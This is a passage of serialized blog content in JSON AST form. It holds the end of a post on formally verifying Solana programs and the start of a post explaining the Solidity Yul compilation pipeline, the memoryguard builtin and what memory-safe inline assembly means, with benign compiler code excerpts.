",{"type":21,"tag":66,"props":29306,"children":29308},{"className":29307},[],[29309],{"type":26,"value":17633},{"type":26,"value":29311}," or a 32-byte ",{"type":21,"tag":66,"props":29313,"children":29315},{"className":29314},[],[29316],{"type":26,"value":21826},{"type":26,"value":29318},". Instead, our tool can substitute in ",{"type":21,"tag":39,"props":29320,"children":29321},{},[29322],{"type":26,"value":29323},"cheaper",{"type":26,"value":29325}," types and functions, such as a 4-byte ",{"type":21,"tag":66,"props":29327,"children":29329},{"className":29328},[],[29330],{"type":26,"value":21826},{"type":26,"value":29332}," struct and a fixed-size, array-backed ",{"type":21,"tag":66,"props":29334,"children":29336},{"className":29335},[],[29337],{"type":26,"value":17633},{"type":26,"value":29339}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":21,"tag":39,"props":29341,"children":29342},{},[29343],{"type":26,"value":29344},"much",{"type":26,"value":29346}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":21,"tag":22,"props":29348,"children":29349},{},[29350],{"type":26,"value":29351},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":21,"tag":10022,"props":29353,"children":29355},{"id":29354},"runtime-environment",[29356],{"type":26,"value":29357},"Runtime Environment",{"type":21,"tag":22,"props":29359,"children":29360},{},[29361],{"type":26,"value":29362},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":21,"tag":22,"props":29364,"children":29365},{},[29366],{"type":26,"value":29367},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":21,"tag":22,"props":29369,"children":29370},{},[29371],{"type":26,"value":29372},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":21,"tag":54,"props":29374,"children":29376},{"id":29375},"conclusion",[29377],{"type":26,"value":19373},{"type":21,"tag":22,"props":29379,"children":29380},{},[29381],{"type":26,"value":29382},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":21,"tag":22,"props":29384,"children":29385},{},[29386],{"type":26,"value":29387},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":21,"tag":19218,"props":29389,"children":29390},{},[],{"type":21,"tag":22,"props":29392,"children":29393},{},[29394],{"type":21,"tag":39,"props":29395,"children":29396},{},[29397,29399,29404,29405,29409],{"type":26,"value":29398},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":21,"tag":335,"props":29400,"children":29402},{"href":19301,"rel":29401},[339],[29403],{"type":26,"value":19305},{"type":26,"value":19307},{"type":21,"tag":335,"props":29406,"children":29407},{"href":19310},[29408],{"type":26,"value":19313},{"type":26,"value":73},{"type":21,"tag":3632,"props":29411,"children":29412},{},[29413],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":29415},[29416,29422,29426,29431,29437,29441],{"id":19376,"depth":98,"text":19379,"children":29417},[29418,29419,29420,29421],{"id":19382,"depth":151,"text":19385},{"id":19450,"depth":151,"text":19453},{"id":20331,"depth":151,"text":20334},{"id":20371,"depth":151,"text":20374},{"id":20424,"depth":98,"text":29423,"children":29424},"Specification: How can we describe what we want our program to do?",[29425],{"id":20538,"depth":151,"text":20541},{"id":21898,"depth":98,"text":21901,"children":29427},[29428,29429,29430],{"id":22575,"depth":151,"text":22578},{"id":22860,"depth":151,"text":22863},{"id":23004,"depth":151,"text":23007},{"id":23145,"depth":98,"text":23148,"children":29432},[29433,29434,29435,29436],{"id":23216,"depth":151,"text":23219},{"id":25079,"depth":151,"text":25082},{"id":25881,"depth":151,"text":23208},{"id":28407,"depth":151,"text":23213},{"id":29247,"depth":98,"text":29250,"children":29438},[29439,29440],{"id":29253,"depth":151,"text":29256},{"id":29354,"depth":151,"text":29357},{"id":29375,"depth":98,"text":19373},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":29446,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":29447,"description":29448,"author":10,"image":29449,"date":29451,"isFeatured":16,"onBlogPage":16,"tags":29452,"body":29454,"_type":3642,"_id":30874,"_source":3644,"_file":30875,"_stem":30876,"_extension":3647},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":29450,"height":14041,"width":14041},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[5244,29453],"compiler",{"type":18,"children":29455,"toc":30865},[29456,29462,29498,29510,29516,29538,29551,29699,29720,29725,29746,29751,29759,29764,29769,29774,29780,29799,29804,29825,29888,29901,29931,29951,29978,29983,29996,30001,30006,30019,30050,30073,30227,30245,30296,30315,30340,30345,30351,30378,30398,30426,30431,30453,30472,30480,30491,30496,30512,30769,30777,30782,30786,30791,30796,30861],{"type":21,"tag":54,"props":29457,"children":29459},{"id":29458},"introduction",[29460],{"type":26,"value":29461},"Introduction",{"type":21,"tag":22,"props":29463,"children":29464},{},[29465,29467,29473,29474,29478,29480,29487,29489,29496],{"type":26,"value":29466},"What does ",{"type":21,"tag":66,"props":29468,"children":29470},{"className":29469},[],[29471],{"type":26,"value":29472},"memory-safe",{"type":26,"value":790},{"type":21,"tag":39,"props":29475,"children":29476},{},[29477],{"type":26,"value":9701},{"type":26,"value":29479}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":21,"tag":335,"props":29481,"children":29484},{"href":29482,"rel":29483},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[339],[29485],{"type":26,"value":29486},"presents some requirements",{"type":26,"value":29488},", but is production code that ",{"type":21,"tag":335,"props":29490,"children":29493},{"href":29491,"rel":29492},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[339],[29494],{"type":26,"value":29495},"violates these requirements",{"type":26,"value":29497}," necessarily unsafe?",{"type":21,"tag":22,"props":29499,"children":29500},{},[29501,29503,29508],{"type":26,"value":29502},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":21,"tag":39,"props":29504,"children":29505},{},[29506],{"type":26,"value":29507},"memory-safety",{"type":26,"value":29509}," actually means.",{"type":21,"tag":54,"props":29511,"children":29513},{"id":29512},"compiler-pipeline",[29514],{"type":26,"value":29515},"Compiler Pipeline",{"type":21,"tag":22,"props":29517,"children":29518},{},[29519,29521,29528,29530,29537],{"type":26,"value":29520},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":21,"tag":335,"props":29522,"children":29525},{"href":29523,"rel":29524},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[339],[29526],{"type":26,"value":29527},"released in v0.8.13",{"type":26,"value":29529},". Compilation happens ",{"type":21,"tag":335,"props":29531,"children":29534},{"href":29532,"rel":29533},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[339],[29535],{"type":26,"value":29536},"in two main steps",{"type":26,"value":172},{"type":21,"tag":841,"props":29539,"children":29540},{},[29541,29546],{"type":21,"tag":845,"props":29542,"children":29543},{},[29544],{"type":26,"value":29545},"Solidity to YUL IR",{"type":21,"tag":845,"props":29547,"children":29548},{},[29549],{"type":26,"value":29550},"YUL IR to EVM opcodes",{"type":21,"tag":75,"props":29552,"children":29556},{"className":29553,"code":29554,"language":29555,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark","    if (m_viaIR || m_generateIR || m_generateEwasm)\n        generateIR(*contract);\n    if (m_generateEvmBytecode)\n    {\n        if (m_viaIR)\n            generateEVMFromIR(*contract);\n        else\n            compileContract(*contract, otherCompilers);\n    }\n","cpp",[29557],{"type":21,"tag":66,"props":29558,"children":29559},{"__ignoreMap":7},[29560,29590,29611,29623,29631,29643,29663,29671,29692],{"type":21,"tag":85,"props":29561,"children":29562},{"class":87,"line":88},[29563,29567,29572,29576,29581,29585],{"type":21,"tag":85,"props":29564,"children":29565},{"style":2885},[29566],{"type":26,"value":12696},{"type":21,"tag":85,"props":29568,"children":29569},{"style":114},[29570],{"type":26,"value":29571}," (m_viaIR ",{"type":21,"tag":85,"props":29573,"children":29574},{"style":169},[29575],{"type":26,"value":22847},{"type":21,"tag":85,"props":29577,"children":29578},{"style":114},[29579],{"type":26,"value":29580}," m_generateIR ",{"type":21,"tag":85,"props":29582,"children":29583},{"style":169},[29584],{"type":26,"value":22847},{"type":21,"tag":85,"props":29586,"children":29587},{"style":114},[29588],{"type":26,"value":29589}," m_generateEwasm)\n",{"type":21,"tag":85,"props":29591,"children":29592},{"class":87,"line":98},[29593,29598,29602,29606],{"type":21,"tag":85,"props":29594,"children":29595},{"style":1021},[29596],{"type":26,"value":29597},"        generateIR",{"type":21,"tag":85,"props":29599,"children":29600},{"style":114},[29601],{"type":26,"value":1439},{"type":21,"tag":85,"props":29603,"children":29604},{"style":169},[29605],{"type":26,"value":3052},{"type":21,"tag":85,"props":29607,"children":29608},{"style":114},[29609],{"type":26,"value":29610},"contract);\n",{"type":21,"tag":85,"props":29612,"children":29613},{"class":87,"line":151},[29614,29618],{"type":21,"tag":85,"props":29615,"children":29616},{"style":2885},[29617],{"type":26,"value":12696},{"type":21,"tag":85,"props":29619,"children":29620},{"style":114},[29621],{"type":26,"value":29622}," (m_generateEvmBytecode)\n",{"type":21,"tag":85,"props":29624,"children":29625},{"class":87,"line":160},[29626],{"type":21,"tag":85,"props":29627,"children":29628},{"style":114},[29629],{"type":26,"value":29630},"    {\n",{"type":21,"tag":85,"props":29632,"children":29633},{"class":87,"line":185},[29634,29638],{"type":21,"tag":85,"props":29635,"children":29636},{"style":2885},[29637],{"type":26,"value":4044},{"type":21,"tag":85,"props":29639,"children":29640},{"style":114},[29641],{"type":26,"value":29642}," (m_viaIR)\n",{"type":21,"tag":85,"props":29644,"children":29645},{"class":87,"line":501},[29646,29651,29655,29659],{"type":21,"tag":85,"props":29647,"children":29648},{"style":1021},[29649],{"type":26,"value":29650},"            generateEVMFromIR",{"type":21,"tag":85,"props":29652,"children":29653},{"style":114},[29654],{"type":26,"value":1439},{"type":21,"tag":85,"props":29656,"children":29657},{"style":169},[29658],{"type":26,"value":3052},{"type":21,"tag":85,"props":29660,"children":29661},{"style":114},[29662],{"type":26,"value":29610},{"type":21,"tag":85,"props":29664,"children":29665},{"class":87,"line":697},[29666],{"type":21,"tag":85,"props":29667,"children":29668},{"style":2885},[29669],{"type":26,"value":29670},"        else\n",{"type":21,"tag":85,"props":29672,"children":29673},{"class":87,"line":706},[29674,29679,29683,29687],{"type":21,"tag":85,"props":29675,"children":29676},{"style":1021},[29677],{"type":26,"value":29678},"            compileContract",{"type":21,"tag":85,"props":29680,"children":29681},{"style":114},[29682],{"type":26,"value":1439},{"type":21,"tag":85,"props":29684,"children":29685},{"style":169},[29686],{"type":26,"value":3052},{"type":21,"tag":85,"props":29688,"children":29689},{"style":114},[29690],{"type":26,"value":29691},"contract, otherCompilers);\n",{"type":21,"tag":85,"props":29693,"children":29694},{"class":87,"line":1100},[29695],{"type":21,"tag":85,"props":29696,"children":29697},{"style":114},[29698],{"type":26,"value":507},{"type":21,"tag":22,"props":29700,"children":29701},{},[29702,29704,29711,29712,29719],{"type":26,"value":29703},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":21,"tag":335,"props":29705,"children":29708},{"href":29706,"rel":29707},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[339],[29709],{"type":26,"value":29710},"YulStack::optimize",{"type":26,"value":11408},{"type":21,"tag":335,"props":29713,"children":29716},{"href":29714,"rel":29715},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[339],[29717],{"type":26,"value":29718},"Assembly::optimize",{"type":26,"value":73},{"type":21,"tag":22,"props":29721,"children":29722},{},[29723],{"type":26,"value":29724},"In total, there are four steps.",{"type":21,"tag":841,"props":29726,"children":29727},{},[29728,29732,29737,29741],{"type":21,"tag":845,"props":29729,"children":29730},{},[29731],{"type":26,"value":29545},{"type":21,"tag":845,"props":29733,"children":29734},{},[29735],{"type":26,"value":29736},"Optimization of YUL IR",{"type":21,"tag":845,"props":29738,"children":29739},{},[29740],{"type":26,"value":29550},{"type":21,"tag":845,"props":29742,"children":29743},{},[29744],{"type":26,"value":29745},"Optimization of EVM opcodes",{"type":21,"tag":22,"props":29747,"children":29748},{},[29749],{"type":26,"value":29750},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":21,"tag":3712,"props":29752,"children":29753},{},[29754],{"type":21,"tag":22,"props":29755,"children":29756},{},[29757],{"type":26,"value":29758},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":21,"tag":22,"props":29760,"children":29761},{},[29762],{"type":26,"value":29763},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":21,"tag":22,"props":29765,"children":29766},{},[29767],{"type":26,"value":29768},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":21,"tag":22,"props":29770,"children":29771},{},[29772],{"type":26,"value":29773},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":21,"tag":54,"props":29775,"children":29777},{"id":29776},"guarantees",[29778],{"type":26,"value":29779},"Guarantees",{"type":21,"tag":22,"props":29781,"children":29782},{},[29783,29784,29791,29793,29798],{"type":26,"value":17034},{"type":21,"tag":335,"props":29785,"children":29788},{"href":29786,"rel":29787},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[339],[29789],{"type":26,"value":29790},"Solidity memory layout",{"type":26,"value":29792}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":21,"tag":39,"props":29794,"children":29795},{},[29796],{"type":26,"value":29797},"no information about this layout",{"type":26,"value":73},{"type":21,"tag":22,"props":29800,"children":29801},{},[29802],{"type":26,"value":29803},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":21,"tag":22,"props":29805,"children":29806},{},[29807,29809,29815,29817,29823],{"type":26,"value":29808},"Introducing ",{"type":21,"tag":66,"props":29810,"children":29812},{"className":29811},[],[29813],{"type":26,"value":29814},"memoryguard",{"type":26,"value":29816},". If you've ever looked at the output of ",{"type":21,"tag":66,"props":29818,"children":29820},{"className":29819},[],[29821],{"type":26,"value":29822},"solc --ir",{"type":26,"value":29824},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":21,"tag":75,"props":29826,"children":29828},{"className":5245,"code":29827,"language":5244,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    store(64, memoryguard(0x80))\n",[29829],{"type":21,"tag":66,"props":29830,"children":29831},{"__ignoreMap":7},[29832,29850],{"type":21,"tag":85,"props":29833,"children":29834},{"class":87,"line":88},[29835,29840,29845],{"type":21,"tag":85,"props":29836,"children":29837},{"style":92},[29838],{"type":26,"value":29839},"    /// @src 0:26:371  \"contract ",{"type":21,"tag":85,"props":29841,"children":29842},{"style":102},[29843],{"type":26,"value":29844},"XXX",{"type":21,"tag":85,"props":29846,"children":29847},{"style":92},[29848],{"type":26,"value":29849}," {...\"\n",{"type":21,"tag":85,"props":29851,"children":29852},{"class":87,"line":98},[29853,29858,29862,29867,29871,29875,29879,29884],{"type":21,"tag":85,"props":29854,"children":29855},{"style":1021},[29856],{"type":26,"value":29857},"    store",{"type":21,"tag":85,"props":29859,"children":29860},{"style":114},[29861],{"type":26,"value":1439},{"type":21,"tag":85,"props":29863,"children":29864},{"style":2285},[29865],{"type":26,"value":29866},"64",{"type":21,"tag":85,"props":29868,"children":29869},{"style":114},[29870],{"type":26,"value":256},{"type":21,"tag":85,"props":29872,"children":29873},{"style":1021},[29874],{"type":26,"value":29814},{"type":21,"tag":85,"props":29876,"children":29877},{"style":114},[29878],{"type":26,"value":1439},{"type":21,"tag":85,"props":29880,"children":29881},{"style":2285},[29882],{"type":26,"value":29883},"0x80",{"type":21,"tag":85,"props":29885,"children":29886},{"style":114},[29887],{"type":26,"value":20139},{"type":21,"tag":22,"props":29889,"children":29890},{},[29891,29893,29900],{"type":26,"value":29892},"From ",{"type":21,"tag":335,"props":29894,"children":29897},{"href":29895,"rel":29896},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[339],[29898],{"type":26,"value":29899},"the documentation",{"type":26,"value":4892},{"type":21,"tag":3712,"props":29902,"children":29903},{},[29904],{"type":21,"tag":22,"props":29905,"children":29906},{},[29907,29909,29915,29917,29923,29925,29930],{"type":26,"value":29908},"The caller of ",{"type":21,"tag":66,"props":29910,"children":29912},{"className":29911},[],[29913],{"type":26,"value":29914},"let ptr := memoryguard(size)",{"type":26,"value":29916}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":21,"tag":66,"props":29918,"children":29920},{"className":29919},[],[29921],{"type":26,"value":29922},"[0, size)",{"type":26,"value":29924}," or the unbounded range starting at ",{"type":21,"tag":66,"props":29926,"children":29928},{"className":29927},[],[29929],{"type":26,"value":14367},{"type":26,"value":73},{"type":21,"tag":22,"props":29932,"children":29933},{},[29934,29936,29941,29943,29949],{"type":26,"value":29935},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":21,"tag":66,"props":29937,"children":29939},{"className":29938},[],[29940],{"type":26,"value":29814},{"type":26,"value":29942}," return ",{"type":21,"tag":66,"props":29944,"children":29946},{"className":29945},[],[29947],{"type":26,"value":29948},"size + 32",{"type":26,"value":29950},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":21,"tag":22,"props":29952,"children":29953},{},[29954,29956,29963,29965,29970,29972,29977],{"type":26,"value":29955},"An example of this optimization in practice ",{"type":21,"tag":335,"props":29957,"children":29960},{"href":29958,"rel":29959},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[339],[29961],{"type":26,"value":29962},"is the StackLimitEvader",{"type":26,"value":29964},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":21,"tag":39,"props":29966,"children":29967},{},[29968],{"type":26,"value":29969},"only",{"type":26,"value":29971}," optimization pass that relies on the semantic information communicated by ",{"type":21,"tag":66,"props":29973,"children":29975},{"className":29974},[],[29976],{"type":26,"value":29814},{"type":26,"value":73},{"type":21,"tag":22,"props":29979,"children":29980},{},[29981],{"type":26,"value":29982},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":21,"tag":22,"props":29984,"children":29985},{},[29986,29988,29994],{"type":26,"value":29987},"Fear not, for we can remove this pointer entirely and call ",{"type":21,"tag":66,"props":29989,"children":29991},{"className":29990},[],[29992],{"type":26,"value":29993},"memoryguard(0x60)",{"type":26,"value":29995}," instead. The rest of the pipeline will still work.",{"type":21,"tag":54,"props":29997,"children":29998},{"id":29507},[29999],{"type":26,"value":30000},"Memory Safety",{"type":21,"tag":22,"props":30002,"children":30003},{},[30004],{"type":26,"value":30005},"So what does memory safety mean?",{"type":21,"tag":22,"props":30007,"children":30008},{},[30009,30011,30017],{"type":26,"value":30010},"The Solidity documentation provides ",{"type":21,"tag":335,"props":30012,"children":30014},{"href":29482,"rel":30013},[339],[30015],{"type":26,"value":30016},"a set of constraints",{"type":26,"value":30018},", not a definition.",{"type":21,"tag":3712,"props":30020,"children":30021},{},[30022,30027],{"type":21,"tag":22,"props":30023,"children":30024},{},[30025],{"type":26,"value":30026},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":21,"tag":841,"props":30028,"children":30029},{},[30030,30035,30040,30045],{"type":21,"tag":845,"props":30031,"children":30032},{},[30033],{"type":26,"value":30034},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":21,"tag":845,"props":30036,"children":30037},{},[30038],{"type":26,"value":30039},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":21,"tag":845,"props":30041,"children":30042},{},[30043],{"type":26,"value":30044},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":21,"tag":845,"props":30046,"children":30047},{},[30048],{"type":26,"value":30049},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":21,"tag":22,"props":30051,"children":30052},{},[30053,30055,30062,30072],{"type":26,"value":30054},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":21,"tag":335,"props":30056,"children":30059},{"href":30057,"rel":30058},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[339],[30060],{"type":26,"value":30061},"removes the memory guard",{"type":21,"tag":15893,"props":30063,"children":30064},{},[30065],{"type":21,"tag":335,"props":30066,"children":30070},{"href":30067,"ariaDescribedBy":30068,"dataFootnoteRef":7,"id":30069},"#user-content-fn-1",[15900],"user-content-fnref-1",[30071],{"type":26,"value":4779},{"type":26,"value":73},{"type":21,"tag":75,"props":30074,"children":30076},{"className":29553,"code":30075,"language":29555,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n  Whiskers{\n   _useMemoryGuard ?\n   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n  }\n",[30077],{"type":21,"tag":66,"props":30078,"children":30079},{"__ignoreMap":7},[30080,30088,30096,30103,30139,30146,30154,30162,30170,30178,30186,30199,30212,30220],{"type":21,"tag":85,"props":30081,"children":30082},{"class":87,"line":88},[30083],{"type":21,"tag":85,"props":30084,"children":30085},{"style":92},[30086],{"type":26,"value":30087},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":21,"tag":85,"props":30089,"children":30090},{"class":87,"line":98},[30091],{"type":21,"tag":85,"props":30092,"children":30093},{"style":92},[30094],{"type":26,"value":30095},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":21,"tag":85,"props":30097,"children":30098},{"class":87,"line":151},[30099],{"type":21,"tag":85,"props":30100,"children":30101},{"emptyLinePlaceholder":16},[30102],{"type":26,"value":703},{"type":21,"tag":85,"props":30104,"children":30105},{"class":87,"line":160},[30106,30111,30116,30121,30125,30130,30135],{"type":21,"tag":85,"props":30107,"children":30108},{"style":108},[30109],{"type":26,"value":30110},"string",{"type":21,"tag":85,"props":30112,"children":30113},{"style":114},[30114],{"type":26,"value":30115}," IRGenerator::",{"type":21,"tag":85,"props":30117,"children":30118},{"style":1021},[30119],{"type":26,"value":30120},"memoryInit",{"type":21,"tag":85,"props":30122,"children":30123},{"style":114},[30124],{"type":26,"value":1439},{"type":21,"tag":85,"props":30126,"children":30127},{"style":102},[30128],{"type":26,"value":30129},"bool",{"type":21,"tag":85,"props":30131,"children":30132},{"style":120},[30133],{"type":26,"value":30134}," _useMemoryGuard",{"type":21,"tag":85,"props":30136,"children":30137},{"style":114},[30138],{"type":26,"value":2485},{"type":21,"tag":85,"props":30140,"children":30141},{"class":87,"line":185},[30142],{"type":21,"tag":85,"props":30143,"children":30144},{"style":114},[30145],{"type":26,"value":11296},{"type":21,"tag":85,"props":30147,"children":30148},{"class":87,"line":501},[30149],{"type":21,"tag":85,"props":30150,"children":30151},{"style":92},[30152],{"type":26,"value":30153}," // This function should be called at the beginning of the EVM call frame\n",{"type":21,"tag":85,"props":30155,"children":30156},{"class":87,"line":697},[30157],{"type":21,"tag":85,"props":30158,"children":30159},{"style":92},[30160],{"type":26,"value":30161}," // and thus can assume all memory to be zero, including the contents of\n",{"type":21,"tag":85,"props":30163,"children":30164},{"class":87,"line":706},[30165],{"type":21,"tag":85,"props":30166,"children":30167},{"style":92},[30168],{"type":26,"value":30169}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":21,"tag":85,"props":30171,"children":30172},{"class":87,"line":1100},[30173],{"type":21,"tag":85,"props":30174,"children":30175},{"style":2885},[30176],{"type":26,"value":30177}," return\n",{"type":21,"tag":85,"props":30179,"children":30180},{"class":87,"line":1339},[30181],{"type":21,"tag":85,"props":30182,"children":30183},{"style":114},[30184],{"type":26,"value":30185},"  Whiskers{\n",{"type":21,"tag":85,"props":30187,"children":30188},{"class":87,"line":1348},[30189,30194],{"type":21,"tag":85,"props":30190,"children":30191},{"style":114},[30192],{"type":26,"value":30193},"   _useMemoryGuard ",{"type":21,"tag":85,"props":30195,"children":30196},{"style":169},[30197],{"type":26,"value":30198},"?\n",{"type":21,"tag":85,"props":30200,"children":30201},{"class":87,"line":1386},[30202,30207],{"type":21,"tag":85,"props":30203,"children":30204},{"style":5026},[30205],{"type":26,"value":30206},"   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":21,"tag":85,"props":30208,"children":30209},{"style":169},[30210],{"type":26,"value":30211}," :\n",{"type":21,"tag":85,"props":30213,"children":30214},{"class":87,"line":1394},[30215],{"type":21,"tag":85,"props":30216,"children":30217},{"style":5026},[30218],{"type":26,"value":30219},"   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":21,"tag":85,"props":30221,"children":30222},{"class":87,"line":1402},[30223],{"type":21,"tag":85,"props":30224,"children":30225},{"style":114},[30226],{"type":26,"value":191},{"type":21,"tag":22,"props":30228,"children":30229},{},[30230,30235,30237,30243],{"type":21,"tag":66,"props":30231,"children":30233},{"className":30232},[],[30234],{"type":26,"value":29822},{"type":26,"value":30236}," will now no longer have ",{"type":21,"tag":66,"props":30238,"children":30240},{"className":30239},[],[30241],{"type":26,"value":30242},"memoryguard(0x80)",{"type":26,"value":30244}," as expected.",{"type":21,"tag":75,"props":30246,"children":30248},{"className":5245,"code":30247,"language":5244,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    mstore(64, 128)\n",[30249],{"type":21,"tag":66,"props":30250,"children":30251},{"__ignoreMap":7},[30252,30267],{"type":21,"tag":85,"props":30253,"children":30254},{"class":87,"line":88},[30255,30259,30263],{"type":21,"tag":85,"props":30256,"children":30257},{"style":92},[30258],{"type":26,"value":29839},{"type":21,"tag":85,"props":30260,"children":30261},{"style":102},[30262],{"type":26,"value":29844},{"type":21,"tag":85,"props":30264,"children":30265},{"style":92},[30266],{"type":26,"value":29849},{"type":21,"tag":85,"props":30268,"children":30269},{"class":87,"line":98},[30270,30275,30279,30283,30287,30292],{"type":21,"tag":85,"props":30271,"children":30272},{"style":1021},[30273],{"type":26,"value":30274},"    mstore",{"type":21,"tag":85,"props":30276,"children":30277},{"style":114},[30278],{"type":26,"value":1439},{"type":21,"tag":85,"props":30280,"children":30281},{"style":2285},[30282],{"type":26,"value":29866},{"type":21,"tag":85,"props":30284,"children":30285},{"style":114},[30286],{"type":26,"value":256},{"type":21,"tag":85,"props":30288,"children":30289},{"style":2285},[30290],{"type":26,"value":30291},"128",{"type":21,"tag":85,"props":30293,"children":30294},{"style":114},[30295],{"type":26,"value":2485},{"type":21,"tag":22,"props":30297,"children":30298},{},[30299,30301,30306,30308,30313],{"type":26,"value":30300},"Semantically, the absence of ",{"type":21,"tag":66,"props":30302,"children":30304},{"className":30303},[],[30305],{"type":26,"value":29814},{"type":26,"value":30307}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":21,"tag":66,"props":30309,"children":30311},{"className":30310},[],[30312],{"type":26,"value":29814},{"type":26,"value":30314}," invariant.",{"type":21,"tag":3712,"props":30316,"children":30317},{},[30318],{"type":21,"tag":22,"props":30319,"children":30320},{},[30321,30322,30327,30328,30333,30334,30339],{"type":26,"value":29908},{"type":21,"tag":66,"props":30323,"children":30325},{"className":30324},[],[30326],{"type":26,"value":29914},{"type":26,"value":29916},{"type":21,"tag":66,"props":30329,"children":30331},{"className":30330},[],[30332],{"type":26,"value":29922},{"type":26,"value":29924},{"type":21,"tag":66,"props":30335,"children":30337},{"className":30336},[],[30338],{"type":26,"value":14367},{"type":26,"value":73},{"type":21,"tag":22,"props":30341,"children":30342},{},[30343],{"type":26,"value":30344},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization 